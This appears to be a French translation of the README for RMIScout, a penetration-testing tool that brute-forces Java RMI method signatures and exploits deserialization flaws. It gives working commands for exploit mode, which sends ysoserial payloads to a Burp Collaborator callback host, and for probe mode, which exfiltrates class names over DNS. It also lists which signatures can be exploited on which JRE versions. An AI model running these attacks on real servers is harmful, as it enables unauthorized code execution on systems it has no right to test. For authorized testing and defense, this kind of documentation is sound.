
RMIScout utilise des stratégies de liste de mots et de force brute pour énumérer les fonctions Java RMI et exploiter les vulnérabilités de désérialisation des paramètres RMI.
RMIScout permet des attaques par liste de mots et par force brute contre des interfaces Java RMI exposées pour deviner en toute sécurité les signatures de méthodes sans invocation. Il prend en charge plusieurs protocoles Java RMI, l'invocation de méthodes et l'exploitation.
Pour identifier mais ne pas exécuter les fonctions RMI, RMIScout utilise des fonctions réseau RMI de bas niveau et la génération dynamique de classes pour envoyer des invocations RMI avec des types délibérément incompatibles afin de déclencher des exceptions distantes. Tous les paramètres sont remplacés par une classe sérialisable générée dynamiquement avec un nom de 255 caractères supposé ne pas exister dans le classpath distant. Par exemple :
Remote Interface:
void login(String user, String password)
RMIScout will invoke:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
Si la classe est présente, cela entraînera une java.rmi.UnmarshalException distante causée par la ClassNotFoundException ou une erreur de désérialisation d'argument sans invoquer la méthode sous-jacente.
Pour des articles techniques plus détaillés :
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Fournissez une liste de mots de prototypes de méthodes à vérifier sur le serveur distant. RMIScout affichera toutes les correspondances identifiées.
Pour RMI-IIOP/CORBA : Sauf si les méthodes sont surchargées, le brute force et l'invocation ne nécessitent que la correspondance des noms (toutes les autres informations sont ignorées).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
Fournissez une liste de mots de noms de méthodes candidates, puis fournissez une liste séparée par des virgules des types de retour candidats, une plage de nombres de paramètres et des types de paramètres candidats. Le mode bruteforce générera les permutations et recherchera les signatures correspondantes.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
Sur des serveurs mal configurés, toute signature RMI connue utilisant des types non primitifs (par exemple java.util.List), peut être exploitée en remplaçant l'objet par une charge utile sérialisée. C'est une mauvaise configuration assez courante (par exemple, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server et Gemfire, Apache Karaf + Cassandra) comme souligné dans la présentation d'An Trinh à Blackhat EU 2019.
RMIScout s'intègre avec ysoserial pour effectuer des attaques par désérialisation contre des services configurant incorrectement des filtres de sérialisation au niveau du processus (JEP 290).
Exemples de signatures exploitables :
void exampleMethod(java.util.Map a) // Tous les types non primitifs
void exampleMethod(float[] a) // Tout type de tableau, même les primitives
void exampleMethod(String a) // Fonctionne sur les anciens JDK, voir ci-dessous...
Remarque : Les signatures contenant des types java.lang.String ne sont exploitables que dans les versions JRE 8/11/13/14 antérieures au début 2020 en RMI-JRMP, mais restent exploitables actuellement en RMI-IIOP.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
RMIScout vous permet d'invoquer n'importe quelle signature avec des primitives, des tableaux de primitives ou des chaînes. Les types plus avancés nécessiteront l'écriture d'un client personnalisé.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
RMIScout s'intègre avec GadgetProbe pour identifier les classes dans le classpath distant. Les noms de classes sont exfiltrés via DNS.
Utilisez le script inclus rmiscout.sh pour construire automatiquement le projet et comme wrapper pratique autour de la syntaxe java -jar :
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Alternativement, construisez le projet manuellement et utilisez la syntaxe traditionnelle java -jar :
# Manually build JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Remarque : RMI-IIOP (compilation/exécution) et ysoserial (exécution) dépendent de JDK8.
Exécutez le serveur de démo RMI dockerisé. Testez le fichier inclus demo/wordlist.txt.
cd demo
./start_demo.sh
Q : Comment savoir si <host>:<port> est un registre RMI ?
Utilisez ./rmiscout list <host> <port> pour obtenir des informations sur les registres d'un serveur distant.
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
Ou, utilisez le script nmap rmi-dumpregistry :
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
Q : J'ai trouvé un registre sur le port 1098 avec le nom java.rmi.activation.ActivationSystem. Que puis-je en faire ?
C'est un démon du système d'activation rmid. Toutes ses méthodes sont restreintes par le SecurityManager. Les JRE plus récents vérifient si le pair distant provient de localhost avant de désérialiser des données distantes. Les versions plus anciennes (avant 2011) n'avaient pas cette vérification et peuvent être vulnérables. Voir https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
Q : Puis-je exécuter RMIScout avec un runtime plus récent que JRE 8 ?
R : Techniquement oui, mais de nombreuses fonctionnalités cesseront de fonctionner. Le support CORBA, le support probe et ysoserial (mode exploit) imposent une dépendance JRE 8.
Q : Pourquoi ai-je une CannotCompileException ?
R : Une CannotCompileException se produit lorsqu'un nom de méthode ou un prototype invalide est fourni directement ou via une liste de mots. RMIScout génère du bytecode pour les signatures candidates fournies par l'utilisateur à l'exécution. Bien que RMIScout dispose de règles de base pour corriger les erreurs de syntaxe courantes dans les prototypes fournis par l'utilisateur, il échoue parfois.
Twitter : @BumbleSec
GitHub : the-bumble